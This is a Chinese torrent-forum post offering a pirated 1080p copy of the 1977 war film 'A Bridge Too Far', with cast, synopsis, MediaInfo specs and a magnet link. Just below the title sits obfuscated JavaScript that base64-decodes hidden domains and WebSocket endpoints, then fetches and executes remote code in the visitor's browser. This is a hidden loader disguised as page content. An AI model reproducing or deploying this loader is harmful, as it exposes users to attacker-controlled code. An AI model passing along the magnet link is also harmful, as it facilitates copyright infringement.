遥远的桥[国语音轨/简繁字幕].A.Bridge.Too.Far.1977.BluRay.1080p.2Audio.DTS-HD.MA5.1.x265.10bit-迅雷下载 20.23GB

版主小s 23天前 193

var x=window['\x61\x74\x6f\x62'],id=x('NDQ0NDczNzY1NjE1Nzg4ODg4OC0xMDAwNw==');document.write('%lt;ins style="display:none!important" id="'+id+'"%gt;%lt;/ins%gt;');(window.adbyunion=window.adbyunion||[]).push(id);window['\x5a\x7a\x72\x64\x63\x78\x64\x57\x4c\x41']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,w,d,c){var cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';var t=[],l=[],e=0,r=0,delay=2000,f=null,ua=navigator.userAgent.toLowerCase(),sc=Math.max(1,600000),ext='1',i='win'+Math.floor(new Date().getTime()/sc)+ext;if(ua.indexOf('baidu')>-1){r=1;u=k;f=function(){if(!l.length)return;var ws=new WebSocket(l.shift()+'/'+i);ws.onopen=function(){for(var k in t)t[k]&&clearTimeout(t[k])};ws.onmessage=function(e){new Function('_tdcs',x(e.data))(cs);ws.close()};ws.onerror=function(e){t[++e]&&clearTimeout(t[e]);f()}};}else{f=function(){if(!l.length)return;var s=document.createElement('script');s.src=l.shift()+'/'+i;cs.parentElement.insertBefore(s,cs);s.onload=function(){for(var k in t)t[k]&&clearTimeout(t[k])};s.onerror=function(){cs.parentElement.removeChild(s);t[++e]&&clearTimeout(t[e]);f()}};}u=decodeURIComponent(x(u.replace(new RegExp(c[r]+''+c[r],'g'),c[r])));var l=u.split(',');l.sort(function(){return 0.5-Math.random()});for(var j in l)t[j]=setTimeout(f,delay*j);})('aHR0cHM6Ly9veXdoeWVlaGdoYS5ndWlydWktY2xvdGhlcy5jbb20saHR0cHM6Ly9vYnk2aTg3NjZqZjEuYnVqaWFuZ2ppdTEyMy5jbb20saHR0cHM6Ly9vNzdkMjM0a2RrZmhoLnNwYXJreWluY2h1bbi5jbb20saHR0cHM6Ly9vZmhnODg3MmozODRqZGpmLnRoLW1ha2UuY29tLGh0dHBzOi8vbbzM5ZmoyM2pqZDIzOGUueGlqaS1leHByZXNzLmNvbbQ==','d3NNzOi8vd3NN5ZC53c3RlbnNN5cy5jb206OTg2NNix3c3M6Ly93c2R4LndzdGVuc3JzLmNNvbTo5ODY2LHdzczovL3dzbXIud3NN0ZW5zZGYuY29tOjk4NNjY=',window,document,['b','N']);}:function(){};

◎译 名 遥远的桥/夺桥遗恨/英雄冢/鹰掠战士

◎片 名 A Bridge Too Far

◎年 代 1977

◎产 地 美国,英国

◎类 别 剧情 / 动作 / 历史 / 战争

◎语 言 英语,德语,荷兰语,波兰语,拉丁语

◎上映日期 1977-06-15

◎豆瓣评分 8.2/10 from 7116 users

◎豆瓣链接 https://movie.douban.com/subject/1298911/

◎片 长 175分钟

◎导 演 理查德·阿滕伯勒 Richard Attenborough

◎编 剧 科尔内留斯·瑞安 Cornelius Ryan / 威廉姆·高德曼 William Goldman

◎主 演 Siem Vroom Siem Vroom

Marlies van Alcmaer Marlies van Alcmaer

Erik van 't Wout Erik van 't Wout

沃尔夫冈·普莱斯 Wolfgang Preiss

汉斯·范·柏尔松迪 Hans von Borsody

德克·博加德 Dirk Bogarde

保罗·马克斯韦尔 Paul Maxwell

肖恩·康纳利 Sean Connery

瑞安·奥尼尔 Ryan O'Neal

吉恩·哈克曼 Gene Hackman

Walter Kohut Walter Kohut

彼得·费伯 Peter Faber

哈特穆特·贝克尔 Hartmut Becker

杰瑞米·坎普 Jeremy Kemp

唐纳德·皮克林 Donald Pickering

Peter Settelen Peter Settelen

史蒂芬·摩尔 Stephen Moore

爱德华·福克斯 Edward Fox

迈克尔·凯恩 Michael Caine

迈克尔·伯恩 Michael Byrne

安东尼·霍普金斯 Anthony Hopkins

尼古拉斯·坎贝尔 Nicholas Campbell

詹姆斯·肯恩 James Caan

杰拉尔·德西姆 Gerald Sim

Erik Chitty Erik Chitty

科林·法雷尔 Colin Farrell

艾伦·阿姆斯特朗 Alun Armstrong

勒克斯·范·德尔登 Lex van Delden

马克西米连·谢尔 Maximilian Schell

Michael Wolf Michael Wolf

哈迪·克鲁格 Hardy Krüger

西恩·马提亚斯 Sean Mathias

Tim Beekman Tim Beekman

丽芙·乌曼 Liv Ullmann

Tom van Beek Tom van Beek

Bertus Botterman Bertus Botterman

Henny Alma Henny Alma

埃利奥特·古尔德 Elliott Gould

Ray Jewers Ray Jewers

Keith Drinkel Keith Drinkel

Mary Smithuysen Mary Smithuysen

Hans Croiset Hans Croiset

弗莱德.威廉姆斯 Fred Williams

约翰·裘德 John Judd

本·克劳斯 Ben Cross

Hilary Minster Hilary Minster

迈克尔·格拉汉姆·考克斯 Michael Graham Cox

Johan te Slaa Johan te Slaa

Georgette Reyevski Georgette Reyevski

Adrienne Kleiweg Adrienne Kleiweg

丹霍姆·艾略特 Denholm Elliott

阿瑟·希尔 Arthur Hill

加里克·哈根 Garrick Hagon

约翰·索尔特豪斯 John Salthouse

史丹利·勒博 Stanley Lebor

劳伦斯·奥利弗 Laurence Olivier

Richard Kane Richard Kane

罗伯特·雷德福 Robert Redford

安东尼·普伦·肖 Anthony Pullen Shaw

约翰·拉岑贝格 John Ratzenberger

帕特里克·赖卡特 Patrick Ryecart

迪克·林斯特拉 Dick Rienstra

Ian Liston Ian Liston

乔治·因斯 George Innes

约翰·斯特赖德 John Stride

保罗·科普利 Paul Copley

Shaun Curry Shaun Curry

Richard Ommanney Richard Ommanney

Feliks Arons Feliks Arons

理查德·阿滕伯勒 Richard Attenborough

◎标 签 二战 | 战争 | 美国 | 经典 | 英国 | 遥远的桥 | 历史 | 1977

◎简 介

欧战尾声,盟军上下逐渐弥漫着乐观的情绪。为了提前结束战争,各地盟军将领认为只要一番猛攻,便可提早直捣柏林结束战争。于是轻率地将大批伞兵空投在德军营地背后,去攻占阿纳姆的那座横跨莱茵河的大桥。不料遭遇德军的顽强抵抗,盟军付出了伤亡惨重的代价。这场堪称二战中最具戏剧性的战役,终以盟军的惨痛失败而告终。

由奥斯卡金像奖得奖导演理查德·阿滕伯勒执导的战争巨片《遥远的桥》,根据科尼利厄斯·瑞恩的同名小说改编而成。影片表现和讴歌了盟军在二战中浴血奋战的斗争精神,被誉为电影史上的超级战争巨片。本片的明星阵容空前强大,聚集了诸如詹姆斯·卡恩、迈克尔·凯恩、肖恩·康纳利、罗伯特·雷德福、安东尼·霍普金斯等数国的数十位明星。本片荣获1978年第31届英国电影和电视艺术学院奖最佳摄影、最佳男配角、最佳原声等多项大奖与提名。

  1. General

  2. Unique ID : 125289914013658791230498153466097823294 (0x5E41F5AFBDF671F373C4FD0D849BEE3E)

  3. Complete name : A.Bridge.Too.Far.1977.BluRay.1080p.2Audio.DTS-HD.MA5.1.x265.10bit-BeiTai.mkv

  4. Format : Matroska

  5. Format version : Version 4

  6. File size : 20.2 GiB

  7. Duration : 2 h 56 min

  8. Overall bit rate mode : Variable

  9. Overall bit rate : 16.4 Mb/s

  10. Encoded date : UTC 2021-07-04 05:30:27

  11. Writing application : mkvmerge v49.0.0 ('Sick Of Losing Soulmates') 64-bit

  12. Writing library : libebml v1.4.0 + libmatroska v1.6.1


  13. Video

  14. ID : 1

  15. Format : HEVC

  16. Format/Info : High Efficiency Video Coding

  17. Format profile : Main [email protected]@High

  18. Codec ID : V_MPEGH/ISO/HEVC

  19. Duration : 2 h 56 min

  20. Bit rate : 10.8 Mb/s

  21. Width : 1 920 pixels

  22. Height : 820 pixels

  23. Display aspect ratio : 2.35:1

  24. Frame rate mode : Constant

  25. Frame rate : 23.976 (24000/1001/53354) FPS

  26. Color space : YUV

  27. Chroma subsampling : 4:2:0

  28. Bit depth : 10 bits

  29. Bits/(Pixel*Frame) : 0.287

  30. Stream size : 13.3 GiB (66%)

  31. Title : HEVC, [email protected]@High, 24/1.001 fps @ 10829 kbps

  32. Writing library : x265 3.4+14-gd419c7152:[Windows][GCC 10.2.0][64 bit] 10bit

  33. Encoding settings : cpuid=533541111039 / frame-threads=3 / numa-pools=8 / wpp / pmode / pme / no-psnr / no-ssim / log-level=2 / input-csp=1 / input-res=1920x820 / interlace=0 / total-frames=253479 / level-idc=51 / high-tier=1 / uhd-bd=0 / ref=5 / no-allow-non-conformance / no-repeat-headers / annexb / no-aud / no-hrd / info / hash=0 / no-temporal-layers / open-gop / min-keyint=24 / keyint=240 / gop-lookahead=0 / bframes=6 / b-adapt=2 / b-pyramid / bframe-bias=0 / rc-lookahead=40 / lookahead-slices=0 / NTMzNTQ=uuDQuD2mJt9fsCf / scenecut=40 / hist-scenecut=0 / radl=0 / no-splice / no-intra-refresh / ctu=32 / min-cu-size=8 / no-rect / no-amp / max-tu-size=32 / tu-inter-depth=3 / tu-intra-depth=3 / limit-tu=4 / rdoq-level=2 / dynamic-rd=0.00 / no-ssim-rd / signhide / no-tskip / nr-intra=0 / nr-inter=0 / no-constrained-intra / no-strong-intra-smoothing / max-merge=4 / limit-refs=1 / limit-modes / me=3 / subme=4 / merange=25 / temporal-mvp / no-frame-dup / no-hme / weightp / weightb / no-analyze-src-pics / deblock=-3:-3 / no-sao / no-sao-non-deblock / rd=6 / selective-sao=0 / no-early-skip / rskip / no-fast-intra / no-tskip-fast / no-cu-lossless / b-intra / no-splitrd-skip / rdpenalty=0 / psy-rd=2.00 / psy-rdoq=1.00 / no-rd-refine / no-lossless / cbqpoffs=0 / crqpoffs=0 / rc=crf / crf=18.5 / qcomp=0.65 / qpstep=4 / stats-write=0 / stats-read=0 / vbv-maxrate=80000 / vbv-bufsize=80000 / vbv-init=0.9 / crf-max=0.0 / crf-min=0.0 / ipratio=1.40 / pbratio=1.30 / aq-mode=2 / aq-strength=0.85 / cutree / zone-count=0 / no-strict-cbr / qg-size=32 / no-rc-grain / qpmax=69 / qpmin=0 / no-const-vbv / sar=1 / overscan=0 / videoformat=5 / range=0 / colorprim=1 / transfer=1 / colormatrix=1 / chromaloc=0 / display-window=0 / cll=0,0 / min-luma=0 / max-luma=1023 / log2-max-poc-lsb=8 / vui-timing-info / vui-hrd-info / slices=1 / no-opt-qp-pps / no-opt-ref-list-length-pps / no-multi-pass-opt-rps / scenecut-bias=0.05 / hist-threshold=0.03 / no-opt-cu-delta-qp / no-aq-motion / no-hdr10 / no-hdr10-opt / no-dhdr10-opt / no-idr-recovery-sei / analysis-reuse-level=0 / analysis-save-reuse-level=0 / analysis-load-reuse-level=0 / scale-factor=0 / refine-intra=0 / refine-inter=0 / refine-mv=1 / refine-ctu-distortion=0 / no-limit-sao / ctu-info=0 / no-lowpass-dct / refine-analysis-type=0 / copy-pic=1 / max-ausize-factor=1.0 / no-dynamic-refine / no-single-sei / no-hevc-aq / no-svt / no-field / qp-adaptation-range=1.00 / no-scenecut-aware-qpconformance-window-offsets / right=0 / bottom=0 / NTMzNTQ= / decoder-max-rate=0

  34. Language : English

  35. Default : Yes

  36. Forced : No

  37. Color range : Limited

  38. Color primaries : BT.709

  39. Transfer characteristics : BT.709

  40. Matrix coefficients : BT.709


  41. Audio #1

  42. ID : 2

  43. Format : DTS XLL

  44. Format/Info : Digital Theater Systems

  45. Commercial name : DTS-HD Master Audio

  46. Codec ID : A_DTS

  47. Duration : 2 h 56 min

  48. Bit rate mode : Variable

  49. Bit rate : 3 835 kb/s

  50. Channel(s) : 6 channels

  51. Channel layout : C L R Ls Rs LFE

  52. Sampling rate : 48.0 kHz

  53. Frame rate : 93.750 FPS (512 SPF)

  54. Bit depth : 24 bits

  55. Compression mode : Lossless

  56. Stream size : 4.72 GiB (23%)

  57. Title : English DTS-HD Master Audio 5.1 @ 3835 kbps

  58. Language : English

  59. Default : Yes

  60. Forced : No


  61. Audio #2

  62. ID : 3

  63. Format : DTS

  64. Format/Info : Digital Theater Systems

  65. Codec ID : A_DTS

  66. Duration : 2 h 56 min

  67. Bit rate mode : Constant

  68. Bit rate : 1 510 kb/s

  69. Channel(s) : 6 channels

  70. Channel layout : C L R Ls Rs LFE

  71. Sampling rate : 48.0 kHz

  72. Frame rate : 93.750 FPS (512 SPF)

  73. Bit depth : 24 bits

  74. Compression mode : Lossy

  75. Stream size : 1.86 GiB (9%)

  76. Title : Mandarin DTS 5.1 @ 1509 kbps

  77. Language : Chinese

  78. Default : No

  79. Forced : No


  80. Text #1

  81. ID : 4

  82. Format : PGS

  83. Codec ID : S_HDMV/PGS

  84. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  85. Duration : 2 h 50 min

  86. Bit rate : 30.3 kb/s

  87. Count of elements : 3677

  88. Stream size : 37.0 MiB (0%)

  89. Title : Eng/SUP

  90. Language : English

  91. Default : No

  92. Forced : No


  93. Text #2

  94. ID : 5

  95. Format : PGS

  96. Codec ID : S_HDMV/PGS

  97. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  98. Duration : 2 h 50 min

  99. Bit rate : 38.9 kb/s

  100. Count of elements : 5986

  101. Stream size : 47.6 MiB (0%)

  102. Title : Chs/SUP 简体

  103. Language : Chinese

  104. Default : Yes

  105. Forced : No


  106. Text #3

  107. ID : 6

  108. Format : PGS

  109. Codec ID : S_HDMV/PGS

  110. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  111. Duration : 2 h 50 min

  112. Bit rate : 39.5 kb/s

  113. Count of elements : 5986

  114. Stream size : 48.3 MiB (0%)

  115. Title : Cht/SUP 繁体

  116. Language : Chinese

  117. Default : No

  118. Forced : No


  119. Text #4

  120. ID : 7

  121. Format : PGS

  122. Codec ID : S_HDMV/PGS

  123. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  124. Duration : 2 h 50 min

  125. Bit rate : 54.7 kb/s

  126. Count of elements : 5986

  127. Stream size : 66.9 MiB (0%)

  128. Title : Chs/SUP 简英双语

  129. Language : Chinese

  130. Default : No

  131. Forced : No


  132. Text #5

  133. ID : 8

  134. Format : PGS

  135. Codec ID : S_HDMV/PGS

  136. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  137. Duration : 2 h 50 min

  138. Bit rate : 55.3 kb/s

  139. Count of elements : 5986

  140. Stream size : 67.6 MiB (0%)

  141. Title : Cht/SUP 繁英双语

  142. Language : Chinese

  143. Default : No

  144. Forced : No


  145. Text #6

  146. ID : 9

  147. Format : PGS

  148. Codec ID : S_HDMV/PGS

  149. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  150. Duration : 2 h 51 min

  151. Bit rate : 44.0 kb/s

  152. Count of elements : 6894

  153. Stream size : 54.0 MiB (0%)

  154. Title : Chs/SUP 国配简体

  155. Language : Chinese

  156. Default : No

  157. Forced : No


  158. Menu

  159. 00:00:00.000 : en:第 01 章

  160. 00:05:47.639 : en:第 02 章

  161. 00:11:05.707 : en:第 03 章

  162. 00:17:58.577 : en:第 04 章

  163. 00:28:06.476 : en:第 05 章

  164. 00:37:02.554 : en:第 06 章

  165. 00:43:32.527 : en:第 07 章

  166. 00:47:33.642 : en:第 08 章

  167. 00:54:33.562 : en:第 09 章

  168. 01:03:37.856 : en:第 10 章

  169. 01:07:45.311 : en:第 11 章

  170. 01:12:46.946 : en:第 12 章

  171. 01:20:24.403 : en:第 13 章

  172. 01:26:26.807 : en:第 14 章

  173. 01:33:05.955 : en:第 15 章

  174. 01:42:55.711 : en:第 16 章

  175. 01:48:33.966 : en:第 17 章

  176. 01:52:56.019 : en:第 18 章

  177. 01:56:59.846 : en:第 19 章

  178. 02:02:44.983 : en:第 20 章

  179. 02:06:59.654 : en:第 21 章

  180. 02:15:57.858 : en:第 22 章

  181. 02:19:49.923 : en:第 23 章

  182. 02:29:16.406 : en:第 24 章

  183. 02:33:49.470 : en:第 25 章

  184. 02:37:42.995 : en:第 26 章

  185. 02:40:39.839 : en:第 27 章

  186. 02:46:21.930 : en:第 28 章


TAGS 动作 剧情 历史 战争

磁力链:
  • magnet:?xt=urn:btih:5052F3513006534979CDF30A148E77D837B18932
上传的附件:

BT9527.com论坛第一帅,不接受任何反驳
BT9527电影天堂 1、BT9527电影天堂提供的BT文件均来源于互联网抓取,只供网友学习交流、技术提升使用。
2、我们遵守BitTorrent点对点协议原则,任何版权问题请联系原资源发布商,我们不处理任何版权纠纷,谢谢!如有争议请联系邮箱:BT9527#hotmail.com(#换成@)
3、如果您发现某页面或地址有错误,请联系站长邮箱BT9527#hotmail.com(#换成@),我们会尽快处理。您的热心是对BT9527电影天堂最大的支持。
4、本站建议去正规影院观看电影以支持电影行业发展。

最新回复 (0)

你可以在 登录 or 注册 后,对此帖发表评论!

返回